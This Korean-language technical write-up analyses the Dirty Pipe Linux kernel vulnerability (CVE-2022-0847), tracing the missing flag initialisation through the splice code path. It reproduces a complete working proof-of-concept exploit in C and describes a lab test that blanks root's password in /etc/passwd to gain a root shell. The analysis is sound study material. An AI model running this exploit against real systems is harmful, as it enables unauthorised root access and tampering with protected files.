Dirty Pipe는 2022년 3월에 공개된 리눅스 커널 취약점이다.
리눅스 커널의 파이프 버퍼에서 플래그에 대한 초기화가 이뤄지지 않아 읽기 권한이 존재하는 모든 파일이 임의로 데이터를 작성할 수 있다.
이 취약점은 읽기 권한이 존재하는 파일에 임의 쓰기가 가능하다는 점에서 Dirty Cow 취약점과 유사하지만 그보다 더 사용하기가 쉽다.
Dirty Cow 취약점은 커널이 읽기 전용 메모리를 사용자 영역으로 복사할 때 레이스 컨디션을 발생시켜 쓰기 권한을 획득하고, 권한 상승을 시도할 수 있는 취약점이다.
파이프는 프로세스간 통신을 위한 기법(IPC) 중 하나로, 프로세스간 단방향 통신을 가능하게 해준다. 파이프는 pipe() 함수를 통해 2개의 파일 디스크립터를 생성하여 사용할 수 있는데, 읽기 전용 파일 디스크립터로 파이프의 내용을 읽고, 쓰기 전용 파일 디스크립터로 파이프에 내용을 쓸 수 있다.
페이지 캐시는 I/O의 성능을 향상시키기 위해 사용하는 메모리 관리 기법 중 하나로 상대적으로 시간과 비용이 많이 드는 디스크에 대한 접근을 매번 하는 것 보다, 페이지 캐시라는 공간에 내용을 저장해두었다가 같은 파일에 대한 접근이 다시 발생한다면 이곳에서 데이터를 읽게 된다.
페이지 캐시의 크기는 일반적으로 4KB이고, 파일의 내용이 수정된다면 페이지 캐시는 Dirty 표시되고, 이후 조건에 따라 디스크에 동기화된다.
이후에 나올 모든 코드는 리눅스 커널 5.15 버전의 코드다.
파이프 버퍼 구조체는 위와 같이 작성되어 있다. 구조체 멤버 중 flags는 다음과 같은 값을 가질 수 있다.
이 값들 중 PIPE_BUF_FLAG_CAN_MERGE라는 플래그가 설정되어 있으면 파이프 버퍼는 타 메모리 영역과 병합될 수 있는 상태가 된다.
이 플래그가 설정되는 조건은 패킷 모드로 열리지 않는 것이다.
이제 취약점이 왜 발생하는지 따라가보자.
먼저 splice의 소스코드 중 일부이다. 인자로 전달받은 파일 디스크립터로부터 파일 오브젝트를 구하여 __do_splice로 전달한다.
splice 함수는 리눅스에서 파일 디스크립터 간의 데이터를 이동시키는데 사용되는 시스템 콜로, 데이터를 실제로 복사하는게 아닌, 페이지를 참조하는 포인터를 추가하는 방식으로 데이터를 이동시킨다.
전달받은 인자로부터 pipe_inode_info 구조체를 구해 검사하고 do_splice 함수를 호출한다. pipe_inode_info 구조체는 파이프에 대한 여러 정보를 담고 있는 구조체이다.
이런식으로 함수 호출을 따라가면 다음과 같이 함수가 호출되게 된다.
splice -> do_splice -> do_splice -> splice_file_to_pipe -> do_splice_to -> generic_file_splice_read -> call_read_iter -> generic_file_read_iter -> filemap_read -> copy_folio_to_iter -> copy_page_to_iter -> copy_page_to_iter -> copy_page_to_iter_pipe
copy_page_to_iter_pipe에서 파이프 버퍼에 대상 파일의 페이지 캐시가 초기화되는 것을 확인할 수 있지만, 플래그에 대한 초기화 코드가 보이지 않는 것을 알 수 있다.
따라서 PIPE_BUF_FLAG_CAN_MERGE 플래그가 설정된 파이프와 페이지 캐시가 병합되면 이후 파이프에 값을 쓰면 대상 파일의 페이지 캐시를 조작할 수 있다.
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Dirty Pipe 취약점(CVE-2022-0847)의 개념 증명용 익스플로잇입니다.
* 이 취약점은 초기화되지 않은 "pipe_buffer.flags" 변수로 인해 발생합니다.
* 이 익스플로잇은 파일이 쓰기가 허용되지 않거나 변경 불가능 상태이거나
* 읽기 전용 마운트에 있어도 페이지 캐시의 파일 내용을 덮어쓸 수 있는 방법을 시연합니다.
*
* 이 익스플로잇은 Linux 5.8 이상에서 동작합니다.
* 해당 코드 경로는 f6dd975583bd 커밋 ("pipe: merge anon_pipe_buf*_ops")을
* 통해 접근 가능하게 되었습니다.
* 이 커밋은 버그를 도입한 것이 아니라 이전부터 존재했지만
* 이를 쉽게 이용할 수 있는 방법을 제공한 것입니다
*
* 이 익스플로잇의 주요 제한 사항은 두 가지입니다:
* 오프셋이 페이지 경계에 위치할 수 없습니다
* (이 페이지를 파이프에 참조하기 위해 오프셋 이전에 한 바이트를 써야 함),
* 그리고 쓰기 작업이 페이지 경계를 넘을 수 없습니다.
*
* 예시: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/*
pipe_inode_info 링에 있는 모든 "bufs"에 PIPE_BUF_FLAG_CAN_MERGE 플래그가
설정된 파이프를 생성합니다.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* 파이프를 완전히 채우면,
각각의 pipe_buffer는 이제 PIPE_BUF_FLAG_CAN_MERGE
플래그를 가지고 있게 됩니다. */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* 파이프를 비워 모든 pipe_buffer 인스턴스를 해제합니다
(하지만 플래그는 초기화된 상태로 남겨둡니다). */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* 이제 파이프가 비어 있으므로,
누군가 새로운 pipe_buffer를 추가할 때 "flags"를 초기화하지 않으면
그 버퍼는 병합 가능 상태가 됩니다. */
}
int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
/* 단순한 명령줄 인자 파서 */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* 입력 파일을 열고 지정된 오프셋을 검증합니다. */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* 모든 플래그가 PIPE_BUF_FLAG_CAN_MERGE로
초기화된 파이프를 생성합니다. */
int p[2];
prepare_pipe(p);
/* 지정된 오프셋 이전의 한 바이트를 파이프로 연결합니다.
이는 페이지 캐시에 대한 참조를 추가하지만,
copy_page_to_iter_pipe()가 "flags"를 초기화하지 않기 때문에
PIPE_BUF_FLAG_CAN_MERGE는 여전히 설정된 상태로 남아 있습니다. */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* 다음 쓰기 작업은 새로운 pipe_buffer를 생성하지 않고
PIPE_BUF_FLAG_CAN_MERGE 플래그로 인해 페이지 캐시에 직접 기록됩니다. */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
Prepare_pipe 함수에서 for문을 통해 파이프에 값을 쓰고 읽는다는 것을 확인할 수 있는다. 왜 굳이 저러나 싶어서 코드를 한 번에 파이프에 값을 쓰고 읽도록 수정해서 테스트를 해봤는데 문제 없이 잘 작동했다. 그래서 왜 나눠서 값을 쓰고 읽나 생각해봤는데, 비동기 처리같은 환경을 고려한게 아닌가.. 하고 나는 생각한다. 또한 파이프를 가득 채우는 이유는 모든 모든 파이프 버퍼 링에 확실하게 플래그를 설정하기 위해서 라고 생각한다.
칼리 리눅스 22.01 릴리즈, 커널 버전은 5.15.0 테스트를 진행했다.
su 명령어를 통해 root로 로그인을 시도한다. 하지만 비밀번호를 요구하는 것을 확인할 수 있다.
/etc/passwd 파일은 소유자를 제외하고는 읽기 권한만 존재하는 것을 확인할 수 있다. 읽기 권한이 존재하기 때문에 임의 쓰기가 가능하다.
cat 명령어로 확인한 /etc/passwd 파일의 첫번째 줄이다.
위와 같이 명령줄 인자를 줘 root 계정의 비밀번호를 삭제해보자.
su 명령어를 통해 root로 로그인을 시도해보면 이전과 달리 비밀번호를 요구하지 않고 바로 쉘을 띄워준다.
이전과 달리 비밀번호를 나타내던 x 가 없어진 것을 확인할 수 있다.
https://ufo.stealien.com/2022-03-15/dirtypipe-review
https://dirtypipe.cm4all.com/
https://github.com/GrapheneOS/kernel_common-5.15